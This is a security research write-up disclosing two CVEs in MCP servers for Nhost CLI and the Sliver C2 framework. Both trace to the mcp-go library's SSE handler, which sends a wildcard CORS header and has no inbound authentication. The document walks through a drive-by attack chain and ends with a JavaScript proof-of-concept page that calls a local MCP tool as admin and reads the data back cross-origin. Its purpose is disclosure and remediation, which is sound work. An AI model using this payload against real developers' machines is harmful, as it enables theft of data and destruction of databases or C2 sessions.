Writeups
MCP Chain Research CVE-2026-34200 CVE-2026-34227 Coordinated Disclosure

One Click to Compromise:
CORS & Auth Failures in MCP Servers

A pattern of missing inbound authentication and permissive cross-origin policies in MCP server implementations, traced to a shared root cause in the mcp-go library - affecting Nhost CLI and the Sliver C2 framework.

March 2026 Security Research mcp-go · Nhost · Sliver
Contents
  1. Background
  2. The Root Cause: mcp-go's SSE Handler
  3. The Content-Type Bypass
  4. Finding 1 - Nhost CLI (CVE-2026-34200)
  5. Finding 2 - Sliver C2 Framework (CVE-2026-34227)
  6. Side-by-Side Comparison
  7. Attack Scenarios
  8. Proof of Concept
  9. Remediation & Vendor Response
  10. The Broader MCP Security Problem

01 Background

The Model Context Protocol (MCP) is an emerging standard that allows AI assistants to call tools through a structured interface. As adoption has grown rapidly across developer tooling, security teams have not yet established consistent threat models for MCP server deployments - particularly around locally-running instances.

During research in March 2026, I identified the same class of vulnerability independently in two products: Nhost CLI and the Sliver C2 framework. Both expose MCP servers over HTTP. Both return Access-Control-Allow-Origin: * on every response. Neither requires inbound authentication. The result in both cases is the same: a single malicious web page, visited in a browser on the same machine as the developer, can silently invoke privileged MCP tools using the developer's own configured credentials.

CVE-2026-34200 · GHSA-6c5x-3h35-vvw2
Nhost CLI MCP Server
Missing inbound auth on explicitly bound network port. Drive-by access to GraphQL endpoints and raw SQL execution against cloud projects.
High
CVE-2026-34227 · GHSA-6fpf-248c-m7wm
Sliver C2 Framework
Unauthenticated MCP interface bound to localhost by default. Full control over active C2 sessions - list, read, and delete files on compromised targets.
High

02 The Root Cause: mcp-go's SSE Handler

Both vulnerabilities trace back to the same upstream library: mcp-go, a popular Go library for building MCP servers. Specifically, the issue lives in its SSEServer implementation.

The SSEServer hardcodes a permissive CORS policy on every response from the SSE and message endpoints:

github.com/mark3labs/mcp-go - server/sse.go (line ~420)
// Hardcoded on SSE and message handlers
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
⚠ Odd Design Choice

Honestly, the implementation in mcp-go is pretty weird. The permissive CORS is applied only on the SSE handler - the standard HTTP handler in the same library is perfectly fine. This asymmetry is puzzling and suggests the SSE transport was added without a full security review. Someone even raised origin validation as a feature request via mark3labs/mcp-go#475, and they closed it as not planned.

This means any website can open an EventSource connection to http://localhost:PORT/sse from a browser - the server responds with no preflight required for SSE.

03 The Content-Type Bypass

Even setting SSE aside, there is a second and more reliable attack vector: CORS Simple Requests.

Browsers only trigger a CORS preflight (OPTIONS request) when certain conditions are met - a non-simple Content-Type, a non-standard method, or custom headers. The mcp-go server does not strictly validate the Content-Type header on inbound JSON-RPC requests. This means an attacker can send a POST with Content-Type: text/plain - a Simple Request - and the browser dispatches it cross-origin without ever sending a preflight.

1Attacker hosts page on evil.com - victim visits it in browser on developer machine
2Browser opens EventSource to localhost:8080/sse - permissive CORS allows it
3Server returns sessionId endpoint URL via SSE stream
4Attacker POSTs JSON-RPC payload with Content-Type: text/plain - no preflight fired
5Server executes tool call using developer's locally configured credentials
6Result arrives over SSE stream - attacker reads it cross-origin

This technique is highly reliable across all modern browsers. It requires no special conditions, no browser plugins, and no user interaction beyond visiting the malicious page.

04 Finding 1 - Nhost CLI (CVE-2026-34200)

What is Nhost?

Nhost is an open-source Firebase alternative providing GraphQL APIs, authentication, and storage. Its CLI includes an MCP server allowing AI assistants to manage local and cloud Nhost projects.

Preconditions

This vulnerability requires two explicit, non-default configuration steps. The default nhost mcp start is not affected - it binds to stdio, opening no network socket at all.

Required Configuration - Both Needed
1. Explicit network binding:
nhost mcp start --bind localhost:8080

2. Cloud credentials configured:
nhost login && nhost mcp config

Without the --bind flag, no network socket is opened and no browser-based attack is possible. Without cloud credentials, an attacker reaching the server is limited to the local development environment.

Exposed Tools

Tool Requires Cloud Config Impact
graphql-query No Read/write GraphQL access with admin role; arbitrary X-Hasura-Role/User-Id headers
cloud-graphql-query Yes Queries and mutations against cloud project using developer's PAT
manage-graphql Yes Access to /apis/migrate - raw SQL execution, table drops, permission changes

Confirming the Exposure

$ curl localhost:8080/sse -i

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/event-stream
...

event: endpoint
data: /message?sessionId=6b909af2-70fa-4aa2-a726-0559f049f8aa

05 Finding 2 - Sliver C2 Framework (CVE-2026-34227)

What is Sliver?

Sliver is an open-source adversary simulation framework developed by BishopFox. It provides a C2 (command-and-control) platform for red team operations. Its MCP server exposes tools for managing live implants - sessions and beacons running on target machines.

Why This Is Particularly Severe

Unlike Nhost - where network binding is opt-in - Sliver's MCP server binds to localhost:8080 by default when MCP is enabled. No explicit flag required. Every operator who enables MCP is exposed.

🔺 Escalation Path
If an operator misconfigures the interface to bind on 0.0.0.0 for team access, the vulnerability escalates from a browser-based CSRF/CORS issue to direct unauthenticated remote access from anywhere on the network - no browser required, no victim interaction at all.

Exposed Tools

Tool Impact
list_sessions_and_beacons Full visibility into active implants, targets, and infrastructure
fs_ls, fs_pwd, fs_cd Browse file systems on compromised targets
fs_cat Exfiltrate arbitrary files - SSH keys, ntds.dit, credentials
fs_rm, fs_mv, fs_cp, fs_mkdir Destroy or manipulate files on targets - campaign sabotage
fs_chmod, fs_chown Alter permissions on compromised hosts

An attacker who tricks a single operator into clicking a link can silently enumerate the entire operation, exfiltrate collected target data, or mass-delete beacons - permanently severing the team's access to the target network in a single click.

06 Side-by-Side Comparison

Property Nhost CLI Sliver C2
Default binding stdio (safe) localhost:8080 (exposed)
Network binding required? Yes - explicit --bind flag No - default when MCP enabled
CORS policy Access-Control-Allow-Origin: * Access-Control-Allow-Origin: *
Inbound authentication None None
Content-Type bypass Yes - text/plain works Yes - text/plain works
Root cause mcp-go SSEServer mcp-go SSEServer
Severity High High
CVE CVE-2026-34200 CVE-2026-34227
Patched version v1.41.0 In progress

07 Attack Scenarios

Scenario A - Nhost
Local Development Data Access via Drive-By

A Nhost developer running nhost mcp start --bind localhost:8080 visits a malicious page. Embedded JavaScript connects to the local MCP server and calls graphql-query with role admin, reading all users and their data from the locally configured project.

Scenario B - Nhost + Cloud Config
Cloud Data Exfiltration or Sabotage

A developer who has run nhost mcp config visits a malicious page while bound to the network. The script calls cloud-graphql-query to read production data, or invokes manage-graphql to execute raw SQL - dropping tables or exfiltrating everything.

Scenario C - Sliver
Campaign Neutralization in a Single Click

A red team operator with Sliver MCP enabled clicks a link to a seemingly benign page. Embedded JavaScript calls list_sessions_and_beacons to enumerate all active implants, then issues fs_rm commands across every target - mass-deleting beacons and permanently severing team access to the target network.

Scenario D - Sliver (Escalated)
Direct Remote Takeover via 0.0.0.0 Misconfiguration

An operator configures the MCP interface to 0.0.0.0 for team access. An external attacker scans the network, discovers the open port, and directly issues unauthenticated API calls - no browser, no victim interaction, full session control.

08 Proof of Concept

The following JavaScript, hosted on any domain and visited in a browser on the same machine as the MCP server, demonstrates the full attack chain. It uses the text/plain Content-Type to bypass CORS preflight and invokes the graphql-query tool via the SSE session.

poc.html - works against both Nhost and Sliver
<!-- Host on any domain. Visit in browser on same machine as MCP server. -->
<script>
  const mcpPort = 8080;
  const es = new EventSource(`http://localhost:${mcpPort}/sse`);

  es.addEventListener('endpoint', (e) => {
    // Capture the session endpoint URL from the SSE stream
    const endpointUrl = e.data;
    console.log('[+] MCP Session:', endpointUrl);

    const payload = {
      jsonrpc: "2.0",
      id: "1",
      method: "tools/call",
      params: {
        name: "graphql-query",
        arguments: {
          subdomain: "local",
          role: "admin",
          query: "query { users { id email } }"
        }
      }
    };

    fetch(endpointUrl, {
      method: "POST",
      mode: "no-cors",
      // text/plain = Simple Request = no CORS preflight fired
      headers: { "Content-Type": "text/plain" },
      body: JSON.stringify(payload)
    });
  });

  es.addEventListener('message', (e) => {
    const data = JSON.parse(e.data);
    if (data.result?.content) {
      // Data exfiltrated  - readable cross-origin via SSE
      console.log("[!] EXFILTRATED:", data.result.content[0].text);
    }
  });
</script>

Full PoC including Sliver-specific payloads: github.com/skoveit/CVE-2026-34227

09 Remediation & Vendor Response

Nhost - Patched in v1.41.0

PR #4060 removes the --bind flag entirely, so only stdio communication is permitted. This is the most conservative fix: it eliminates the attack surface rather than adding authentication on top of it. Users on <= 1.40.0 should upgrade immediately.

Workaround (pre-patch)
Do not use nhost mcp start --bind. The default stdio mode is not affected.

Sliver - Fix In Progress

The Sliver maintainer (@moloch--) accepted the report and has added inbound authentication tokens, effective regardless of the CORS policy. They are also evaluating switching away from mcp-go's SSEServer entirely.

"Yea it's not clear to me why such a wide CORS policy is needed, but either way I've added auth tokens which should be effective regardless of the CORS policy." - @moloch--, Sliver maintainer

One pattern worth noting: Grafana Tempo also uses mcp-go, but wraps it with StreamableHTTPServer instead of SSEServer and applies their own authentication middleware around the whole thing - a design that avoids the SSE CORS issue entirely.

10 The Broader MCP Security Problem

These two findings are unlikely to be isolated. The conditions that create this vulnerability - mcp-go's SSEServer, no inbound auth, a developer running the process locally - are the default integration pattern for a large number of MCP server implementations.

The mcp-go maintainers closed the origin validation feature request (mark3labs/mcp-go#475) as not planned. This means every project using SSEServer from this library is relying on application-level mitigations that many developers simply haven't added.

If You Run an MCP Server Locally, Ask Yourself:

Bottom Line
The MCP ecosystem is moving fast and security tooling hasn't caught up. The SSE transport creates a subtle attack surface that's easy to miss - especially because the standard HTTP handler in the same library is fine. Until upstream fixes land and propagate, treat any network-bound MCP server as an unauthenticated local service reachable by any website your browser visits.

Advisories & References

Read More Research